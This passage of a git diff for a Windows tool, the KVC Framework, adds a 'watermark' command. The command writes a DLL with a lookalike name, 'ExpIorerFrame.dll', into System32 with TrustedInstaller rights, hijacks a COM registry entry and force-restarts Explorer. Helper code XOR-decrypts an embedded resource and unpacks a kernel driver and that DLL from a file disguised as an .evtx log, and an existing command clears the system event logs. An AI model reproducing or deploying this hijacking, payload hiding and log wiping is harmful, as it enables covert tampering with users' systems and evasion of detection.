requirements - * - Responsible disclosure - * - Educational purposes - * - * @note Important legal and ethical considerations - */ static void PrintSecurityNotice() noexcept; - - /** - * @brief Print footer with donation links - * - * Support information and donation links: - * - PayPal donation link - * - Revolut donation link - * - Contact information - * - Support acknowledgments - * - * @note Optional support for project development - */ static void PrintFooter() noexcept; private: - // === Helper Methods for Consistent Formatting === - - /** - * @brief Print color-coded section header - * @param title Section title to display - * - * Formats section headers with yellow color for visibility - * and consistent spacing. - * - * @note Internal formatting helper - */ + // Formatting helpers static void PrintSectionHeader(const wchar_t* title) noexcept; - - /** - * @brief Print formatted command line with description - * @param command Command syntax - * @param description Command description - * - * Displays command and description in aligned columns - * for readability. - * - * @note Internal formatting helper - */ static void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept; - - /** - * @brief Print informational note - * @param note Note text to display - * - * Formats informational notes with indentation and - * "Note:" prefix. - * - * @note Internal formatting helper - */ static void PrintNote(const wchar_t* note) noexcept; - - /** - * @brief Print warning message - * @param warning Warning text to display - * - * Formats warning messages with red color, indentation, - * and "WARNING:" prefix. - * - * @note Internal formatting helper - */ static void PrintWarning(const wchar_t* warning) noexcept; }; \ No newline at end of file diff --git a/kvc/ICON/kvc.ico b/kvc/ICON/kvc.ico index 22c098e..0146b01 100644 Binary files a/kvc/ICON/kvc.ico and b/kvc/ICON/kvc.ico differ diff --git a/kvc/Kvc.cpp b/kvc/Kvc.cpp index d562213..30f3f82 100644 --- a/kvc/Kvc.cpp +++ b/kvc/Kvc.cpp @@ -1131,7 +1131,38 @@ int wmain(int argc, wchar_t* argv[]) else if (command == L"evtclear") { return g_controller->ClearSystemEventLogs() ? 0 : 2; } - + + // ==================================================================== + // WATERMARK MANAGEMENT + // ==================================================================== + + else if (command == L"watermark" || command == L"wm") { + if (argc < 3) { + ERROR(L"Missing subcommand. Usage: kvc watermark "); + return 1; + } + + std::wstring_view subCommand = argv[2]; + + if (subCommand == L"remove") { + INFO(L"Removing Windows desktop watermark..."); + return g_controller->RemoveWatermark() ? 0 : 2; + } + else if (subCommand == L"restore") { + INFO(L"Restoring Windows desktop watermark..."); + return g_controller->RestoreWatermark() ? 0 : 2; + } + else if (subCommand == L"status") { + std::wstring status = g_controller->GetWatermarkStatus(); + INFO(L"Watermark status: %s", status.c_str()); + return 0; + } + else { + ERROR(L"Unknown watermark subcommand: %s", subCommand.data()); + return 1; + } + } + // ==================================================================== // UNKNOWN COMMAND // ==================================================================== diff --git a/kvc/Kvc.vcxproj b/kvc/Kvc.vcxproj index 524a49c..fae7de2 100644 --- a/kvc/Kvc.vcxproj +++ b/kvc/Kvc.vcxproj @@ -129,6 +129,7 @@ + @@ -148,6 +149,7 @@ + diff --git a/kvc/Kvc.vcxproj.filters b/kvc/Kvc.vcxproj.filters index 8716ed2..e127a39 100644 --- a/kvc/Kvc.vcxproj.filters +++ b/kvc/Kvc.vcxproj.filters @@ -57,19 +57,22 @@ Source Files\Controller - + + Source Files + + Source Files\Controller Source Files\Controller - + Source Files\Controller - + Source Files - + Source Files @@ -116,6 +119,12 @@ Header Files + + Header Files + + + Header Files + Header Files @@ -137,17 +146,6 @@ Header Files - - Header Files - - - - - Source Files - - - Source Files - @@ -159,9 +157,4 @@ Resource Files - - - Resource Files - - \ No newline at end of file diff --git a/kvc/Utils.cpp b/kvc/Utils.cpp index a3401b1..4bc3ecf 100644 --- a/kvc/Utils.cpp +++ b/kvc/Utils.cpp @@ -18,6 +18,8 @@ #include #include #include +#include +#pragma comment(lib, "cabinet.lib") namespace fs = std::filesystem; @@ -1023,4 +1025,256 @@ const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel, return ProcessColors::YELLOW; } +#include +#pragma comment(lib, "cabinet.lib") + +// ============================================================================ +// CAB DECOMPRESSION +// ============================================================================ + +// FDI callback structures +struct MemoryReadContext { + const BYTE* data; + size_t size; + size_t offset; +}; + +// Global context for FDI callbacks +static MemoryReadContext* g_cabContext = nullptr; +static std::vector* g_currentFileData = nullptr; + +// FDI memory allocation +static void* DIAMONDAPI fdi_alloc(ULONG cb) { + return malloc(cb); +} + +// FDI memory deallocation +static void DIAMONDAPI fdi_free(void* pv) { + free(pv); +} + +// FDI file open - returns memory context +static INT_PTR DIAMONDAPI fdi_open(char* pszFile, int oflag, int pmode) { + return g_cabContext ? (INT_PTR)g_cabContext : -1; +} + +// FDI file read - reads from memory buffer +static UINT DIAMONDAPI fdi_read(INT_PTR hf, void* pv, UINT cb) { + MemoryReadContext* ctx = (MemoryReadContext*)hf; + if (!ctx) return 0; + + size_t remaining = ctx->size - ctx->offset; + size_t to_read = (cb < remaining) ? cb : remaining; + + if (to_read > 0) { + memcpy(pv, ctx->data + ctx->offset, to_read); + ctx->offset += to_read; + } + + return static_cast(to_read); +} + +// FDI file write - writes to current file buffer +static UINT DIAMONDAPI fdi_write(INT_PTR hf, void* pv, UINT cb) { + if (g_currentFileData && cb > 0) { + BYTE* data = static_cast(pv); + g_currentFileData->insert(g_currentFileData->end(), data, data + cb); + } + return cb; +} + +// FDI file close +static int DIAMONDAPI fdi_close(INT_PTR hf) { + g_currentFileData = nullptr; + return 0; +} + +// FDI file seek - seeks in memory buffer +static LONG DIAMONDAPI fdi_seek(INT_PTR hf, LONG dist, int seektype) { + MemoryReadContext* ctx = (MemoryReadContext*)hf; + if (!ctx) return -1; + + switch (seektype) { + case SEEK_SET: ctx->offset = dist; break; + case SEEK_CUR: ctx->offset += dist; break; + case SEEK_END: ctx->offset = ctx->size + dist; break; + } + + return static_cast(ctx->offset); +} + +// FDI notification callback - handles file extraction +static INT_PTR DIAMONDAPI fdi_notify(FDINOTIFICATIONTYPE fdint, PFDINOTIFICATION pfdin) { + std::vector* extractedData = static_cast*>(pfdin->pv); + + switch (fdint) { + case fdintCOPY_FILE: + // Extract kvc.evtx file + if (pfdin->psz1) { + std::string filename = pfdin->psz1; + if (filename.find("kvc.evtx") != std::string::npos) { + g_currentFileData = extractedData; + return (INT_PTR)g_cabContext; + } + } + return 0; + + case fdintCLOSE_FILE_INFO: + g_currentFileData = nullptr; + return TRUE; + + default: + break; + } + return 0; +} + +// Decompress CAB from memory and extract kvc.evtx +std::vector DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept +{ + std::vector extractedFile; + + MemoryReadContext ctx = { cabData, cabSize, 0 }; + g_cabContext = &ctx; + + ERF erf{}; + HFDI hfdi = FDICreate(fdi_alloc, fdi_free, fdi_open, fdi_read, + fdi_write, fdi_close, fdi_seek, cpuUNKNOWN, &erf); + + if (!hfdi) { + DEBUG(L"FDICreate failed: %d", erf.erfOper); + g_cabContext = nullptr; + return extractedFile; + } + + char cabName[] = "memory.cab"; + char cabPath[] = ""; + + BOOL result = FDICopy(hfdi, cabName, cabPath, 0, fdi_notify, nullptr, &extractedFile); + + FDIDestroy(hfdi); + g_cabContext = nullptr; + + if (!result) { + DEBUG(L"FDICopy failed: %d", erf.erfOper); + return std::vector(); + } + + return extractedFile; +} + +// Split kvc.evtx into kvc.sys (driver) and ExpIorerFrame.dll +bool SplitKvcEvtx(const std::vector& kvcData, + std::vector& outKvcSys, + std::vector& outDll) noexcept +{ + if (kvcData.size() < 2) { + DEBUG(L"kvc.evtx too small"); + return false; + } + + // Find all MZ signatures (PE file start markers) + std::vector peOffsets; + for (size_t i = 0; i < kvcData.size() - 1; i++) { + if (kvcData[i] == 0x4D && kvcData[i + 1] == 0x5A) { // MZ signature + peOffsets.push_back(i); + } + } + + if (peOffsets.size() != 2) { + DEBUG(L"Expected 2 PE files in kvc.evtx, found %zu", peOffsets.size()); + return false; + } + + // Extract both PE files + size_t firstStart = peOffsets[0]; + size_t firstEnd = peOffsets[1]; + size_t secondStart = peOffsets[1]; + size_t secondEnd = kvcData.size(); + + std::vector firstPE(kvcData.begin() + firstStart, kvcData.begin() + firstEnd); + std::vector secondPE(kvcData.begin() + secondStart, kvcData.begin() + secondEnd); + + // Identify which is driver vs DLL by checking PE subsystem + auto isDriver = [](const std::vector& pe) -> bool { + if (pe.size() < 0x200) return false; + + DWORD peOffset = *reinterpret_cast(&pe[0x3C]); + if (peOffset + 0x5C >= pe.size()) return false; + + WORD subsystem = *reinterpret_cast(&pe[peOffset + 0x5C]); + return (subsystem == 1); // IMAGE_SUBSYSTEM_NATIVE = kernel driver + }; + + bool firstIsDriver = isDriver(firstPE); + bool secondIsDriver = isDriver(secondPE); + + // Assign outputs based on subsystem detection + if (firstIsDriver && !secondIsDriver) { + outKvcSys = firstPE; + outDll = secondPE; + } else if (!firstIsDriver && secondIsDriver) { + outKvcSys = secondPE; + outDll = firstPE; + } else { + DEBUG(L"Could not identify driver vs DLL in kvc.evtx"); + return false; + } + + DEBUG(L"Split kvc.evtx: kvc.sys=%zu bytes, ExpIorerFrame.dll=%zu bytes", + outKvcSys.size(), outDll.size()); + + return true; +} + +// Extract kvc.sys and ExpIorerFrame.dll from resource CAB +bool ExtractResourceComponents(int resourceId, + std::vector& outKvcSys, + std::vector& outDll) noexcept +{ + DEBUG(L"[EXTRACT] Loading resource %d", resourceId); + + // Step 1: Load resource + auto resourceData = ReadResource(resourceId, RT_RCDATA); + if (resourceData.size() <= 3774) { + ERROR(L"[EXTRACT] Resource too small"); + return false; + } + + // Step 2: Skip icon (3774 bytes) + std::vector encryptedCAB( + resourceData.begin() + 3774, + resourceData.end() + ); + + DEBUG(L"[EXTRACT] Encrypted CAB size: %zu bytes", encryptedCAB.size()); + + // Step 3: XOR decrypt + auto decryptedCAB = DecryptXOR(encryptedCAB, KVC_XOR_KEY); + if (decryptedCAB.empty()) { + ERROR(L"[EXTRACT] XOR decryption failed"); + return false; + } + + // Step 4: CAB decompress → kvc.evtx + auto kvcEvtxData = DecompressCABFromMemory(decryptedCAB.data(), decryptedCAB.size()); + if (kvcEvtxData.empty()) { + ERROR(L"[EXTRACT] CAB decompression failed"); + return false; + } + + DEBUG(L"[EXTRACT] kvc.evtx extracted: %zu bytes", kvcEvtxData.size()); + + // Step 5: Split into kvc.sys + ExpIorerFrame.dll + if (!SplitKvcEvtx(kvcEvtxData, outKvcSys, outDll)) { + ERROR(L"[EXTRACT] Failed to split kvc.evtx"); + return false; + } + + DEBUG(L"[EXTRACT] Success - kvc.sys: %zu bytes, ExpIorerFrame.dll: %zu bytes", + outKvcSys.size(), outDll.size()); + + return true; +} + } // namespace Utils \ No newline at end of file diff --git a/kvc/Utils.h b/kvc/Utils.h index 0073564..c38feb2 100644 --- a/kvc/Utils.h +++ b/kvc/Utils.h @@ -1,14 +1,6 @@ -/** - * @file Utils.h - * @brief Core utility functions declarations for KVC Framework - * @author Marek Wesolowski - * @date 2025 - * @copyright KVC Framework - * - * Header file containing declarations for process management, memory operations, - * protection level handling, and various system utilities. - * Centralized utilities used throughout the KVC Framework. - */ +// Utils.h +// Core utility functions for KVC Framework +// Author: Marek Wesolowski, 2025 #pragma once @@ -20,204 +12,80 @@ #include #include -/** - * @namespace Utils - * @brief Core utility functions namespace for KVC Framework - * - * Provides essential utilities for: - * - String and numeric parsing - * - File and resource operations - * - Process name resolution - * - Kernel address operations - * - Protection level bit manipulation - * - String conversion utilities - * - Process dumpability analysis - * - Hex string utilities - * - PE binary manipulation - * - Console coloring utilities - */ namespace Utils { // ============================================================================ - // STRING AND NUMERIC PARSING UTILITIES + // STRING AND NUMERIC PARSING // ============================================================================ - /** - * @brief Parses PID from string with validation - * @param pidStr String containing PID value - * @return std::optional Parsed PID or nullopt on invalid input - * @note Validates numeric range and format - * @note Returns nullopt for non-numeric strings or invalid PIDs - */ std::optional ParsePid(const std::wstring& pidStr) noexcept; - - /** - * @brief Checks if string contains only numeric characters - * @param str String to validate - * @return bool true if string is numeric - * @note Empty string returns false - * @note Handles Unicode numeric characters - */ bool IsNumeric(const std::wstring& str) noexcept; // ============================================================================ - // FILE AND RESOURCE OPERATIONS (RENAMED TO AVOID WINAPI CONFLICTS) + // FILE AND RESOURCE OPERATIONS // ============================================================================ - /** - * @brief Reads file contents into byte vector - * @param path File path to read - * @return std::vector File contents or empty on failure - * @note Renamed from ReadFile to avoid conflict with Windows API - * @note Maximum file size: 256MB for safety - * @note Uses memory-mapped files for large files - */ + // Read file into byte vector std::vector ReadFile(const std::wstring& path) noexcept; - /** - * @brief Reads embedded resource from executable - * @param resourceId Resource identifier - * @param resourceType Resource type (e.g., RT_RCDATA) - * @return std::vector Resource data or empty on failure - * @note Uses FindResource/LoadResource Windows API - * @note Returns empty vector if resource not found - */ + // Read embedded resource from executable std::vector ReadResource(int resourceId, const wchar_t* resourceType); - /** - * @brief Writes byte vector to file with error handling - * @param path File path to write - * @param data Data to write - * @return bool true on successful write - * @note Renamed from WriteFile to avoid conflict with Windows API - * @note Handles large files with chunked writing - * @note Creates directory structure if needed - */ + // Write byte vector to file bool WriteFile(const std::wstring& path, const std::vector& data) noexcept; - /** - * @brief Force deletes file by removing attributes and using fallback methods - * @param path File path to delete - * @return bool true if file deleted successfully - * @note Removes read-only, system, and hidden attributes - * @note Uses multiple deletion strategies for stubborn files - * @note Handles file locking and sharing violations - */ + // Force delete file with attribute removal bool ForceDeleteFile(const std::wstring& path) noexcept; // ============================================================================ // PROCESS NAME RESOLUTION // ============================================================================ - /** - * @brief Resolves process name from PID using multiple methods - * @param pid Process ID to resolve - * @return std::wstring Process name or "[Unknown]" - * @note Attempts: Toolhelp32, OpenProcess+GetModuleFileName, NtQuerySystemInformation - * @note Returns "[Unknown]" if all methods fail - * @note Caches results for performance - */ std::wstring GetProcessName(DWORD pid) noexcept; - /** - * @brief Creates descriptive identifier for unknown protected processes - * @param pid Process ID - * @param kernelAddress Kernel EPROCESS address - * @param protectionLevel Protection level byte - * @param signerType Signer type byte - * @return std::wstring Descriptive process identifier - * @note Format: "Protected_Process_[PID]_[Address]_[ProtectionLevel]" - * @note Used when process name cannot be resolved normally - */ std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, UCHAR protectionLevel, UCHAR signerType) noexcept; // ============================================================================ - // KERNEL OPERATIONS (INLINE OPTIMIZED) + // KERNEL OPERATIONS // ============================================================================ - /** - * @brief Resolves kernel base address with caching - * @return std::optional Kernel base or nullopt on failure - * @note Uses NtQuerySystemInformation with SystemModuleInformation - * @note Caches result for 5000ms for performance - * @note Returns ntoskrnl.exe base address - */ std::optional GetKernelBaseAddress() noexcept; - /** - * @brief Calculates kernel address from base and offset - * @param base Kernel base address - * @param offset Offset from base - * @return ULONG_PTR Calculated kernel address - * @note Simple addition operation, marked constexpr for compile-time evaluation - * @note Used for calculating EPROCESS field addresses - */ constexpr ULONG_PTR GetKernelAddress(ULONG_PTR base, DWORD offset) noexcept { return base + offset; } // ============================================================================ - // PROTECTION LEVEL BIT MANIPULATION (INLINE FOR PERFORMANCE) + // PROTECTION LEVEL BIT MANIPULATION // ============================================================================ - /** - * @brief Extracts protection level from combined byte - * @param protection Combined protection byte - * @return UCHAR Protection level (lower 3 bits) - * @note Values: 0=None, 1=ProtectedLight, 2=Protected - * @note Uses bitmask 0x07 to extract lower 3 bits - */ + // Extract protection level from combined byte (lower 3 bits) constexpr UCHAR GetProtectionLevel(UCHAR protection) noexcept { return protection & 0x07; } - /** - * @brief Extracts signer type from combined byte - * @param protection Combined protection byte - * @return UCHAR Signer type (upper 4 bits) - * @note Values: 0=None, 1=Authenticode, 3=Antimalware, 6=WinTcb, etc. - * @note Uses bitmask 0xF0 and right shift to extract upper 4 bits - */ + // Extract signer type from combined byte (upper 4 bits) constexpr UCHAR GetSignerType(UCHAR protection) noexcept { return (protection & 0xF0) >> 4; } - /** - * @brief Combines protection level and signer into single byte - * @param protectionLevel Protection level (0-7) - * @param signerType Signer type (0-15) - * @return UCHAR Combined protection byte - * @note Format: [SignerType:4 bits][ProtectionLevel:3 bits][0:1 bit] - * @note Used for writing protection values to kernel memory - */ + // Combine protection level and signer into single byte constexpr UCHAR GetProtection(UCHAR protectionLevel, UCHAR signerType) noexcept { return (signerType << 4) | protectionLevel; } - /** - * @brief Extracts signature level value - * @param signatureLevel Raw signature level byte - * @return UCHAR Signature level value - * @note Uses bitmask 0x0F to extract lower 4 bits - * @note Signature level indicates code signing verification level - */ + // Extract signature level value (lower 4 bits) constexpr UCHAR GetSignatureLevelValue(UCHAR signatureLevel) noexcept { return signatureLevel & 0x0F; } - /** - * @brief Extracts section signature level value - * @param sectionSignatureLevel Raw section signature level byte - * @return UCHAR Section signature level value - * @note Uses bitmask 0x0F to extract lower 4 bits - * @note Section signature level indicates DLL signature verification level - */ + // Extract section signature level value (lower 4 bits) constexpr UCHAR GetSectionSignatureLevelValue(UCHAR sectionSignatureLevel) noexcept { return sectionSignatureLevel & 0x0F; @@ -227,108 +95,30 @@ namespace Utils // PROTECTION LEVEL STRING CONVERSIONS // ============================================================================ - /** - * @brief Converts protection level to human-readable string - * @param protectionLevel Protection level byte - * @return const wchar_t* String representation ("None", "PPL", "PP") - * @note Returns "Unknown" for invalid protection levels - * @note Used for display and logging purposes - */ const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept; - - /** - * @brief Converts signer type to human-readable string - * @param signerType Signer type byte - * @return const wchar_t* String representation (e.g., "Windows", "Antimalware") - * @note Returns "Unknown" for invalid signer types - * @note Maps PS_PROTECTED_SIGNER enum values to strings - */ const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept; - - /** - * @brief Converts signature level to human-readable string - * @param signatureLevel Signature level byte - * @return const wchar_t* String representation - * @note Returns numeric value as string for unknown levels - * @note Used for displaying code signing information - */ const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept; - - /** - * @brief Converts section signature level to human-readable string - * @param sectionSignatureLevel Section signature level byte - * @return const wchar_t* String representation - * @note Returns numeric value as string for unknown levels - * @note Used for displaying DLL signing information - */ const wchar_t* GetSectionSignatureLevelAsString(UCHAR sectionSignatureLevel) noexcept; // ============================================================================ // STRING TO ENUM PARSING // ============================================================================ - /** - * @brief Parses protection level string to enum value - * @param protectionLevel String like "PP", "PPL", "None" - * @return std::optional Protection level value or nullopt - * @note Case-insensitive matching - * @note Supports "PP", "PPL", "None", "0", "1", "2" formats - */ std::optional GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept; - - /** - * @brief Parses signer type string to enum value - * @param signerType String like "Windows", "Antimalware" - * @return std::optional Signer type value or nullopt - * @note Case-insensitive matching - * @note Supports: WinTcb, Windows, Antimalware, Lsa, WinSystem, etc. - */ std::optional GetSignerTypeFromString(const std::wstring& signerType) noexcept; - - /** - * @brief Gets recommended signature level for signer type - * @param signerType Signer type enumeration value - * @return std::optional Signature level or nullopt - * @note Provides reasonable defaults for different signer types - * @note Used when setting new protection levels - */ std::optional GetSignatureLevel(UCHAR signerType) noexcept; - - /** - * @brief Gets recommended section signature level for signer type - * @param signerType Signer type enumeration value - * @return std::optional Section signature level or nullopt - * @note Provides reasonable defaults for different signer types - * @note Used when setting new protection levels - */ std::optional GetSectionSignatureLevel(UCHAR signerType) noexcept; // ============================================================================ // PROCESS DUMPABILITY ANALYSIS // ============================================================================ - /** - * @brief Result structure for process dumpability analysis - * - * Contains analysis result indicating whether a process can be memory dumped - * and the detailed reason for the decision. - */ struct ProcessDumpability { - bool CanDump; ///< Whether process can be dumped - std::wstring Reason; ///< Detailed reason for dumpability status + bool CanDump; + std::wstring Reason; }; - /** - * @brief Analyzes whether process can be memory dumped - * @param pid Process ID - * @param processName Process executable name - * @param protectionLevel Current protection level - * @param signerType Digital signature authority - * @return ProcessDumpability Analysis result with reason - * @note Considers protection level, signer type, and process name - * @note Some protected processes cannot be dumped for security reasons - */ ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName, UCHAR protectionLevel, UCHAR signerType) noexcept; @@ -336,103 +126,59 @@ namespace Utils // HEX STRING UTILITIES // ============================================================================ - /** - * @brief Converts hex string to byte array - * @param hexString Hex string (supports 0x prefix, spaces, commas) - * @param bytes Output byte vector - * @return bool true if conversion successful - * @note Handles both uppercase and lowercase hex - * @note Skips whitespace and common separators - * @note Returns false for invalid hex characters - */ bool HexStringToBytes(const std::wstring& hexString, std::vector& bytes) noexcept; - - /** - * @brief Validates hex string format - * @param hexString String to validate - * @return bool true if valid hex string - * @note Allows 0x prefix, spaces, commas as separators - * @note Requires even number of hex digits after cleaning - */ bool IsValidHexString(const std::wstring& hexString) noexcept; // ============================================================================ // PE BINARY MANIPULATION // ============================================================================ - /** - * @brief Gets length of PE file from binary data - * @param data Binary data containing PE file - * @param offset Starting offset in data - * @return std::optional PE file length or nullopt on invalid PE - * @note Validates DOS and NT headers - * @note Calculates length from section table - * @note Returns nullopt for invalid PE headers - */ + // Get PE file length from binary data std::optional GetPEFileLength(const std::vector& data, size_t offset = 0) noexcept; - /** - * @brief Splits combined PE binary into separate components - * @param combined Combined PE data - * @param first Output for first PE component - * @param second Output for second PE component - * @return bool true if splitting successful - * @note Validates both PE structures before splitting - * @note Used for extracting kvc_pass.exe and kvc_crypt.dll from kvc.dat - */ + // Split combined PE binary (used for kvc.dat extraction) bool SplitCombinedPE(const std::vector& combined, std::vector& first, std::vector& second) noexcept; - /** - * @brief Decrypts data using XOR cipher - * @param encryptedData Data to decrypt - * @param key XOR key (7 bytes) - * @return std::vector Decrypted data or empty on failure - * @note Uses repeating key pattern for decryption - * @note Used for decrypting embedded driver and binaries - */ + // XOR decryption with 7-byte key std::vector DecryptXOR(const std::vector& encryptedData, const std::array& key) noexcept; // ============================================================================ - // CONSOLE COLORING UTILITIES + // CAB DECOMPRESSION AND WATERMARK EXTRACTION // ============================================================================ - /** - * @brief ANSI color codes for process display - * - * Provides color coding for different process trust levels and types - * in console output. Uses ANSI escape sequences. - */ - struct ProcessColors { - static constexpr const wchar_t* GREEN = L"\033[92m"; ///< System processes (WinTcb, WinSystem) - static constexpr const wchar_t* RED = L"\033[91m"; ///< LSA processes (critical security) - static constexpr const wchar_t* YELLOW = L"\033[93m"; ///< User/Antimalware processes - static constexpr const wchar_t* BLUE = L"\033[94m"; ///< Unchecked signatures - static constexpr const wchar_t* PURPLE = L"\033[95m"; ///< SYSTEM ONLY!(always 4) - static constexpr const wchar_t* CYAN = L"\033[96m"; ///< Windows Signer - static constexpr const wchar_t* HEADER = L"\033[97;44m"; ///< Table headers (white on blue) - static constexpr const wchar_t* RESET = L"\033[0m"; ///< Reset color to default - }; + // Decompress CAB archive from memory and extract kvc.evtx + std::vector DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept; + + // Split kvc.evtx into kvc.sys (driver) and ExpIorerFrame.dll + bool SplitKvcEvtx(const std::vector& kvcData, + std::vector& outKvcSys, + std::vector& outDll) noexcept; + + // Extract components from resource 102 (CAB containing kvc.sys + ExpIorerFrame.dll) + bool ExtractResourceComponents(int resourceId, + std::vector& outKvcSys, + std::vector& outDll) noexcept; + + // ============================================================================ + // CONSOLE COLORING + // ============================================================================ + + struct ProcessColors { + static constexpr const wchar_t* GREEN = L"\033[92m"; + static constexpr const wchar_t* RED = L"\033[91m"; + static constexpr const wchar_t* YELLOW = L"\033[93m"; + static constexpr const wchar_t* BLUE = L"\033[94m"; + static constexpr const wchar_t* PURPLE = L"\033[95m"; + static constexpr const wchar_t* CYAN = L"\033[96m"; + static constexpr const wchar_t* HEADER = L"\033[97;44m"; + static constexpr const wchar_t* RESET = L"\033[0m"; + }; - /** - * @brief Enables ANSI virtual terminal processing for colored output - * @return bool true if enabled successfully - * @note Required for ANSI color codes to work on Windows 10+ - * @note Uses SetConsoleMode with ENABLE_VIRTUAL_TERMINAL_PROCESSING - */ bool EnableConsoleVirtualTerminal() noexcept; - /** - * @brief Gets appropriate display color for process based on trust level - * @param signerType Process signer type - * @param signatureLevel Executable signature level - * @param sectionSignatureLevel DLL signature level - * @return const wchar_t* ANSI color code - * @note Color coding: Green=System, Red=LSA, Yellow=User, Blue=Unchecked - * @note Used in process listing and information display - */ const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel, UCHAR sectionSignatureLevel) noexcept; } \ No newline at end of file diff --git a/kvc/WatermarkManager.cpp b/kvc/WatermarkManager.cpp new file mode 100644 index 0000000..a3d7038 --- /dev/null +++ b/kvc/WatermarkManager.cpp @@ -0,0 +1,234 @@ +// WatermarkManager.cpp +// Implementation of watermark removal via DLL hijacking + +#include "WatermarkManager.h" +#include "Utils.h" +#include +#include + +// Constructor +WatermarkManager::WatermarkManager(TrustedInstallerIntegrator& trustedInstaller) + : m_trustedInstaller(trustedInstaller) +{ +} + +// Main removal operation +bool WatermarkManager::RemoveWatermark() noexcept +{ + INFO(L"[WATERMARK] Starting watermark removal process"); + + // Extract ExpIorerFrame.dll from resource + std::vector dllData; + if (!ExtractWatermarkDLL(dllData)) { + ERROR(L"[WATERMARK] Failed to extract DLL from resource"); + return false; + } + + INFO(L"[WATERMARK] Successfully extracted ExpIorerFrame.dll (%zu bytes)", dllData.size()); + + // Get System32 path + std::wstring system32Path = GetSystem32Path(); + if (system32Path.empty()) { + ERROR(L"[WATERMARK] Failed to locate System32 directory"); + return false; + } + + std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll"; + + // Write DLL using TrustedInstaller + if (!m_trustedInstaller.WriteFileAsTrustedInstaller(dllPath, dllData)) { + ERROR(L"[WATERMARK] Failed to deploy DLL to System32"); + return false; + } + + INFO(L"[WATERMARK] DLL deployed to: %s", dllPath.c_str()); + + // Hijack registry entry + if (!m_trustedInstaller.WriteRegistryValueAsTrustedInstaller( + HKEY_CLASSES_ROOT, CLSID_KEY, L"", HIJACKED_DLL)) { + ERROR(L"[WATERMARK] Failed to hijack registry entry"); + return false; + } + + INFO(L"[WATERMARK] Registry hijacked successfully"); + + // Restart Explorer to apply changes + if (!RestartExplorer()) { + ERROR(L"[WATERMARK] Failed to restart Explorer"); + return false; + } + + SUCCESS(L"[WATERMARK] Watermark removed successfully"); + return true; +} + +// Restore original watermark +bool WatermarkManager::RestoreWatermark() noexcept +{ + INFO(L"[WATERMARK] Starting watermark restoration process"); + + // 1. Najpierw przywróć rejestr + if (!m_trustedInstaller.WriteRegistryValueAsTrustedInstaller( + HKEY_CLASSES_ROOT, CLSID_KEY, L"", ORIGINAL_DLL)) { + ERROR(L"[WATERMARK] Failed to restore registry entry"); + return false; + } + + INFO(L"[WATERMARK] Registry restored to original value"); + + // 2. Zrestartuj Explorera (to zwolni uchwyt do DLL) + if (!RestartExplorer()) { + ERROR(L"[WATERMARK] Failed to restart Explorer"); + return false; + } + + // 3. Teraz usuń DLL (uchwyt został zwolniony) + std::wstring system32Path = GetSystem32Path(); + if (!system32Path.empty()) { + std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll"; + + // Dodaj krótkie opóźnienie dla pewności + Sleep(1000); + + if (!m_trustedInstaller.DeleteFileAsTrustedInstaller(dllPath)) { + // Nie traktuj jako błędu krytycznego - DLL może być w użyciu + INFO(L"[WATERMARK] DLL might still be in use, will be removed on next restart: %s", + dllPath.c_str()); + } else { + INFO(L"[WATERMARK] Hijacked DLL deleted successfully"); + } + } + + SUCCESS(L"[WATERMARK] Watermark restored successfully"); + return true; +} + +// Check current status +std::wstring WatermarkManager::GetWatermarkStatus() noexcept +{ + std::wstring currentValue = ReadRegistryValue(HKEY_CLASSES_ROOT, CLSID_KEY, L""); + + if (currentValue == HIJACKED_DLL) { + return L"REMOVED"; + } else if (currentValue == ORIGINAL_DLL) { + return L"ACTIVE"; + } + + return L"UNKNOWN"; +} + +bool WatermarkManager::IsWatermarkRemoved() noexcept +{ + return GetWatermarkStatus() == L"REMOVED"; +} + +// Extract DLL from resource - Complete pipeline +bool WatermarkManager::ExtractWatermarkDLL(std::vector& outDllData) noexcept +{ + std::vector kvcSysData; + + if (!Utils::ExtractResourceComponents(RESOURCE_ID, kvcSysData, outDllData)) { + ERROR(L"[WATERMARK] Failed to extract DLL from resource"); + return false; + } + + DEBUG(L"[WATERMARK] ExpIorerFrame.dll extracted: %zu bytes", outDllData.size()); + return !outDllData.empty(); +} + +// Restart Explorer process +bool WatermarkManager::RestartExplorer() noexcept +{ + INFO(L"[WATERMARK] Restarting Explorer..."); + + // Find all explorer.exe processes + std::vector explorerPids; + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot != INVALID_HANDLE_VALUE) { + PROCESSENTRY32W pe; + pe.dwSize = sizeof(pe); + + if (Process32FirstW(hSnapshot, &pe)) { + do { + if (_wcsicmp(pe.szExeFile, L"explorer.exe") == 0) { + explorerPids.push_back(pe.th32ProcessID); + } + } while (Process32NextW(hSnapshot, &pe)); + } + CloseHandle(hSnapshot); + } + + // Terminate all Explorer instances + std::vector processHandles; + for (DWORD pid : explorerPids) { + HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid); + if (hProcess) { + TerminateProcess(hProcess, 0); + processHandles.push_back(hProcess); + } + } + + // Wait for termination + if (!processHandles.empty()) { + WaitForMultipleObjects( + static_cast(processHandles.size()), + processHandles.data(), + TRUE, + 5000 + ); + + for (HANDLE h : processHandles) { + CloseHandle(h); + } + } + + // Start new Explorer instance + SHELLEXECUTEINFOW sei = { sizeof(sei) }; + sei.fMask = SEE_MASK_FLAG_NO_UI; + sei.lpFile = L"explorer.exe"; + sei.lpParameters = L"/e,"; // ← Prevents opening folder window + sei.nShow = SW_HIDE; // ← ! Hide the window + + if (!ShellExecuteExW(&sei)) { + ERROR(L"[WATERMARK] Failed to restart Explorer"); + return false; + } + + Sleep(1000); // Give Explorer time to start + return true; +} + +// Get System32 path +std::wstring WatermarkManager::GetSystem32Path() noexcept +{ + wchar_t systemDir[MAX_PATH]; + if (GetSystemDirectoryW(systemDir, 